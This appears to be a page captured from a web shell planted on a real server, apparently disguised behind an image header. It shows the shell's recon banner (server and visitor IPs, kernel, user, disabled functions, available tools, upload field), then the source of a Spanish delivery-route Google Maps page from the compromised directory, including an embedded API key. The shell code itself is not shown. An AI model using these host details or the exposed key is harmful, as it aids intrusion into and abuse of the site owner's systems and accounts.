����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.147.68.182 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/repartidores/ |
Upload File : |
<!DOCTYPE html> <html> <head> <title>Ruta Entrega</title> <meta name="viewport" content="initial-scale=1.0, user-scalable=no"> <meta charset="utf-8"> <script src="https://polyfill.io/v3/polyfill.min.js?features=default"></script> <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyAicjdHErz4MAlZT9cmP8GstaCfmBCLEvw&callback=initMap&libraries=places&v=weekly" defer ></script> <style type="text/css"> /* Always set the map height explicitly to define the size of the div * element that contains the map. */ #map { height: 100%; } /* Optional: Makes the sample page fill the window. */ html, body { height: 100%; margin: 0; padding: 0; } .controls { margin-top: 10px; border: 1px solid transparent; border-radius: 2px 0 0 2px; box-sizing: border-box; -moz-box-sizing: border-box; height: 32px; outline: none; box-shadow: 0 2px 6px rgba(0, 0, 0, 0.3); } #origin-input, #destination-input { background-color: #fff; font-family: Roboto; font-size: 8px; font-weight: 300; margin-bottom: 10px; /* Espacio entre los inputs */ padding: 0 11px 0 13px; text-overflow: ellipsis; width: 200px; } input:focus { width: 350px; /* Tamaño al hacer clic (focus) */ } #pac-container { padding-bottom: 12px; margin-right: 12px; } #origin-input:focus, #destination-input:focus { border-color: #4d90fe; } #mode-selector { color: #fff; background-color: #4d90fe; margin-left: 12px; padding: 5px 11px 0px 11px; } #mode-selector label { font-family: Roboto; font-size: 13px; font-weight: 300; } .pac-card { margin: 10px 10px 0 0; border-radius: 2px 0 0 2px; box-sizing: border-box; -moz-box-sizing: border-box; outline: none; box-shadow: 0 2px 6px rgba(0, 0, 0, 0.3); background-color: #fff; font-family: Roboto; } #title { color: #fff; background-color: #4d90fe; font-size: 25px; font-weight: 500; padding: 6px 12px; } </style> <script> "use strict"; // This example requires the Places library. Include the libraries=places // parameter when you first load the API. For example: // <script // src="https://maps.googleapis.com/maps/api/js?key=YOUR_API_KEY&libraries=places"> function initMap() { const map = new google.maps.Map(document.getElementById("map"), { mapTypeControl: false, center: { lat: 28.3427817, lng: -100.8565432 }, zoom: 13 }); new AutocompleteDirectionsHandler(map); } class AutocompleteDirectionsHandler { constructor(map) { this.map = map; this.originPlaceId = ""; this.destinationPlaceId = ""; this.travelMode = google.maps.TravelMode.WALKING; this.directionsService = new google.maps.DirectionsService(); this.directionsRenderer = new google.maps.DirectionsRenderer(); this.directionsRenderer.setMap(map); const originInput = document.getElementById("origin-input"); const destinationInput = document.getElementById("destination-input"); const modeSelector = document.getElementById("mode-selector"); const originAutocomplete = new google.maps.places.Autocomplete( originInput ); // Specify just the place data fields that you need. originAutocomplete.setFields(["place_id"]); const destinationAutocomplete = new google.maps.places.Autocomplete( destinationInput ); // Specify just the place data fields that you need. destinationAutocomplete.setFields(["place_id"]); this.setupClickListener( "changemode-walking", google.maps.TravelMode.WALKING ); this.setupClickListener( "changemode-transit", google.maps.TravelMode.TRANSIT ); this.setupClickListener( "changemode-driving", google.maps.TravelMode.DRIVING ); this.setupPlaceChangedListener(originAutocomplete, "ORIG"); this.setupPlaceChangedListener(destinationAutocomplete, "DEST"); this.map.controls[google.maps.ControlPosition.TOP_LEFT].push( originInput ); this.map.controls[google.maps.ControlPosition.TOP_LEFT].push( destinationInput ); this.map.controls[google.maps.ControlPosition.TOP_LEFT].push( modeSelector ); } // Sets a listener on a radio button to change the filter type on Places // Autocomplete. setupClickListener(id, mode) { const radioButton = document.getElementById(id); radioButton.addEventListener("click", () => { this.travelMode = mode; this.route(); }); } setupPlaceChangedListener(autocomplete, mode) { autocomplete.bindTo("bounds", this.map); autocomplete.addListener("place_changed", () => { const place = autocomplete.getPlace(); if (!place.place_id) { window.alert("Please select an option from the dropdown list."); return; } if (mode === "ORIG") { this.originPlaceId = place.place_id; } else { this.destinationPlaceId = place.place_id; } this.route(); }); } route() { if (!this.originPlaceId || !this.destinationPlaceId) { return; } const me = this; this.directionsService.route( { origin: { placeId: this.originPlaceId }, destination: { placeId: this.destinationPlaceId }, travelMode: this.travelMode }, (response, status) => { if (status === "OK") { me.directionsRenderer.setDirections(response); } else { window.alert("Directions request failed due to " + status); } } ); } } </script> </head> <body> <div class="pac-card" id="pac-card"> <div id="title"> Ruta de entrega </div> <div id="pac-container"> <input type="radio" name="type" id="changemode-walking" /> <label for="changemode-walking">Caminando</label> <input type="radio" name="type" id="changemode-transit" /> <label for="changemode-transit">transito</label> </div> <div id="type-selector" class="pac-controls"> <input id="origin-input" class="controls" type="text" placeholder="Inicio"/> <input id="destination-input" class="controls" type="text" placeholder="destino"/> <input type="radio" name="type" id="changemode-driving" checked="checked" /> <label for="changemode-driving">Auto</label> <a href="#">DETALLE DE ENTREGA</a> </div> </div> <div id="map"></div> </body> </html>